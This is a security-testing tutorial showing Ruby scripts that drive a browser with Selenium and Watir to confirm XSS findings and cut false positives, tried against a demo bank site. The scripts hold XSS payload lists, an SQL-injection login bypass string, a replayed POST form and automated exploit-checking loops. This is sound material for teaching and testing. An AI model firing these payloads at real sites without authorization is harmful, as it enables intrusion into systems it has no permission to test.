Browser Manipulation

Last updated 7 months ago

As a hacker, sometimes you need to automate your client side tests (ex. XSS) and reduce the false positives that happen specially in XSS tests. The traditional automation depends on finding the sent payload been received in the response, but it doesn't mean the vulnerability get really exploited so you have to do it manually again and again.

Here we'll learn how to make ruby controls our browser in order to emulate the same attacks from browser and get the real results.

The most known APIs for this task are Selenium and Watir which support most know web browsers currently exist.

Selenium Webdriver

Selenium is an umbrella project encapsulating a variety of tools and libraries enabling web browser automation.

  • install selenium gem

    gem install selenium-webdriver

GET Request

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require "selenium-webdriver"
# Profile Setup and Tweak
proxy = Selenium::WebDriver::Proxy.new(
:http => PROXY,
:ftp => PROXY,
:ssl => PROXY
) # Set Proxy hostname and port
profile = Selenium::WebDriver::Firefox::Profile.from_name "default" # Use an existing profile name
profile['general.useragent.override'] = "Mozilla/5.0 (compatible; MSIE 9.0; " +
"Windows Phone OS 7.5; Trident/5.0; " +
"IEMobile/9.0)" # Set User Agent
profile.proxy = proxy # Set Proxy
profile.assume_untrusted_certificate_issuer = false # Accept untrusted SSL certificates
# Start Driver
driver = Selenium::WebDriver.for(:firefox, :profile => profile) # Start firefox driver with specified profile
# driver = Selenium::WebDriver.for(:firefox, :profile => "default") # Use this line if just need a current profile and no need to setup or tweak your profile
driver.manage.window.resize_to(500, 400) # Set Browser windows size
driver.navigate.to "http://www.altoromutual.com/search.aspx?" # The URL to navigate
# Interact with elements
element = driver.find_element(:name, 'txtSearch') # Find an element named 'txtSearch'
element.send_keys "<img src=x onerror='alert(1)'>" # Send your keys to element
element.send_keys(:control, 't') # Open a new tab
element.submit # Submit the text you've just sent

Note that the actual keys to send depend on your OS, for example, Mac uses COMMAND + t, instead of CONTROL + t.

POST Request

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'selenium-webdriver'
browser = Selenium::WebDriver.for :firefox
browser.get "http://www.altoromutual.com/bank/login.aspx"
wait = Selenium::WebDriver::Wait.new(:timeout => 15) # Set waiting timeout
# Find the input elements to interact with later.
input = wait.until {
element_user = browser.find_element(:name, "uid")
element_pass = browser.find_element(:name, "passw")
# Retrun array of elements when get displayed
[element_user, element_pass] if element_user.displayed? and element_pass.displayed?
}
input[0].send_keys("' or 1=1;--") # Send key for the 1st element
input[1].send_keys("password") # Send key fro the next element
sleep 1
# Click/submit the button based the form it is in (you can also call 'btnSubmit' method)
submit = browser.find_element(:name, "btnSubmit").click #.submit
# browser.quit

Let's test the page against XSS vulnerability. First I'll list what kind of action we need from browser

  1. Open a browser window (Firefox)

  2. Navigate to a URL (altoromutual.com)

  3. Perform some operations (Send an XSS payload)

  4. Check if the payload is working(Popping-up) or it's a false positive

  5. Print the succeed payloads on terminal

selenium-xss.rb

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'selenium-webdriver'
payloads =
[
"<video src=x onerror=alert(1);>",
"<img src=x onerror='alert(2)'>",
"<script>alert(3)</script>",
"<svg/OnlOad=prompt(4)>",
"javascript:alert(5)",
"alert(/6/.source)"
]
browser = Selenium::WebDriver.for :firefox # You can use :ff too
browser.manage.window.resize_to(500, 400) # Set browser size
browser.get "http://www.altoromutual.com/search.aspx?"
wait = Selenium::WebDriver::Wait.new(:timeout => 10) # Timeout to wait
payloads.each do |payload|
input = wait.until do
element = browser.find_element(:name, 'txtSearch')
element if element.displayed?
end
input.send_keys(payload)
input.submit
begin
wait.until do
txt = browser.switch_to.alert
if (1..100) === txt.text.to_i
puts "Payload is working: #{payload}"
txt.accept
end
end
rescue Selenium::WebDriver::Error::NoAlertOpenError
puts "False Positive: #{payload}"
next
end
end
browser.close

Result

> ruby selenium-xss.rb
Payload is working: <video src=x onerror=alert(1);>
Payload is working: <img src=x onerror='alert(2)'>
Payload is working: <script>alert(3)</script>
Payload is working: <svg/OnlOad=prompt(4)>
False Positive: javascript:alert(5)
False Positive: alert(/6/.source)

Watir Webdriver

Watir is abbreviation for (Web Application Testing in Ruby). I believe that Watir is more elegant than Selenium but I like to know many ways to do the same thing, just in case.

  • install watir gem

    gem install watir

GET Request

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'watir'
browser = Watir::Browser.new :firefox
browser.goto "http://www.altoromutual.com/search.aspx?"
browser.text_field(name: 'txtSearch').set("<img src=x onerror='alert(1)'>")
btn = browser.button(value: 'Go')
puts btn.exists?
btn.click
# browser.close

Sometime you'll need to send XSS GET request from URL like http://app/search?q=<script>alert</script>. You'll face a known error Selenium::WebDriver::Error::UnhandledAlertError: Unexpected modal dialog if the alert box popped up but it you do refresh page for the sent payload it'll work so the fix for this issue is the following.

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'watir'
browser = Watir::Browser.new :firefox
wait = Selenium::WebDriver::Wait.new(:timeout => 15)
begin
browser.goto("http://www.altoromutual.com/search.aspx?txtSearch=<img src=x onerror=alert(1)>")
rescue Selenium::WebDriver::Error::UnhandledAlertError
browser.refresh
wait.until {browser.alert.exists?}
end
if browser.alert.exists?
browser.alert.ok
puts "[+] Exploit found!"
browser.close
end

POST Request

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'watir'
browser = Watir::Browser.new :firefox
browser.window.resize_to(800, 600)
browser.window.move_to(0, 0)
browser.goto "http://www.altoromutual.com/bank/login.aspx"
browser.text_field(name: 'uid').set("' or 1=1;-- ")
browser.text_field(name: 'passw').set("password")
btn = browser.button(name: 'btnSubmit').click
# browser.close
  • Since Waiter is integrated with Selenium, you can use both to achieve one goal

  • For Some reason in some log-in cases, you may need to add a delay time between entering username and password then submit.

Selenium, Watir Arbitrary POST request

Here another scenario I've faced, I was against POST request without submit button, in another word, the test was against intercepted request generated from jQuery function, in my case was a drop menu. So The work round wad quite simple, Just create an HTML file contains POST form with the original parameters plus a Submit button(just like creating CSRF exploit from a POST form) then call that html file to the browser and deal with it as normal form. Let's to see an example here.

POST request

POST /path/of/editfunction HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Cookie: PHPSESSIONID=111111111111111111111
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
field1=""&field2=""&field3=""&field4=""

example.html

<html>
<head>
<title>Victim Site - POST request</title>
</head>
<body>
<form action="https://example.com/path/of/editfunction" method="POST">
<input type="text" name="field1" value="" />
<input type="text" name="field2" value="" />
<input type="text" name="field3" value="" />
<input type="text" name="field4" value="" />
<p><input type="submit" value="Send" /></p>
</form>
</body>
</html>

exploit.rb

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'watir'
@browser = Watir::Browser.new :firefox
@browser.window.resize_to(800, 600) # Set browser size
@browser.window.move_to(400, 300) # Allocate browser position
def sendpost(payload)
@browser.goto "file:///home/KING/Code/example.html"
@browser.text_field(name: 'field1').set(payload)
@browser.text_field(name: 'field2').set(payload)
@browser.text_field(name: 'field3').set(payload)
@browser.text_field(name: 'field4').set(payload)
sleep 0.1
@browser.button(value: 'Send').click
end
payloads =
[
'"><script>alert(1)</script>',
'<img src=x onerror=alert(2)>'
]
puts "[*] Exploitation start"
puts "[*] Number of payloads: #{payloads.size} payloads"
payloads.each do |payload|
print "\r[*] Trying: #{payload}"
print "\e[K"
sendpost payload
if @browser.alert.exists?
@browser.alert.ok
puts "[+] Exploit found!: " + payload
@browser.close
end
end

Dealing with tabs

One of scenarios I've faced is to exploit XSS a user profile fields and check the result in another page which present the public user's profile. Instead of revisiting the URLs again and again I open new tab and refresh the public user's profile page then return back to send the exploit and so on.

xss_tab.rb

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'watir'
require 'uri'
@url = URI.parse "http://example.com/Users/User_Edit.aspx?userid=68"
@browser = Watir::Browser.new :firefox
@browser.window.resize_to(800, 600)
# @browser.window.move_to(540, 165)
@wait = Selenium::WebDriver::Wait.new(:timeout => 10)
@browser.goto "http://example.com/logon.aspx"
# Login
@browser.text_field(name: 'Login1$UserName').set("admin")
@browser.text_field(name: 'Login1$Password').set("P@ssword")
sleep 0.5
@browser.button(name: 'Login1$LoginButton').click
def sendpost(payload)
begin
@browser.switch # Make sure to focus on current tab/window
@browser.goto "#{@url.scheme}://#{@url.host}/#{@url.path}?#{@url.query}" # Goto the URL
@wait.until {@browser.text_field(id: 'txtFullName').exists?} # Wait until wanted text area appear
@browser.text_field(id: 'txtFullName').set(payload) # Set payload to the text area
@browser.text_field(id: 'txtFirstName').set(payload) # Set payload to the text area
@browser.button(name: '$actionsElem$save').click # Click Save button
rescue Selenium::WebDriver::Error::UnhandledAlertError
@browser.refresh # Refresh the current page
@wait.until {@browser.alert.exists?} # Check if alert box appear
end
end
payloads =
[
"\"><video src=x onerror=alert(1);>",
"<img src=x onerror='alert(2)'>",
"<script>alert(3)</script>",
"<svg/OnlOad=prompt(4)>",
"javascript:alert(5)",
"alert(/6/.source)"
]
puts "[*] Exploitation start"
puts "[*] Number of payloads: #{payloads.size} payloads"
@browser.send_keys(:control, 't') # Sent Ctrl+T to open new tab
@browser.goto "http://example.com/pub_prof/user/silver.aspx" # Goto the use's public profile
@browser.switch # Make sure to focus on current tab/window
payloads.each do |payload|
@browser.send_keys(:alt, '1') # Send Alt+1 to go to first tab
sendpost payload
puts "[*] Sending to '#{@browser.title}' Payload : #{payload}"
@browser.send_keys(:alt, '2') # Send Alt+2 to go to second tab
@browser.switch
@browser.refresh
puts "[*] Checking Payload Result on #{@browser.title}"
if @browser.alert.exists?
@browser.alert.ok
puts
puts "[+] Exploit found!: " + payload
@browser.close
exit 0
end
end
@browser.close
puts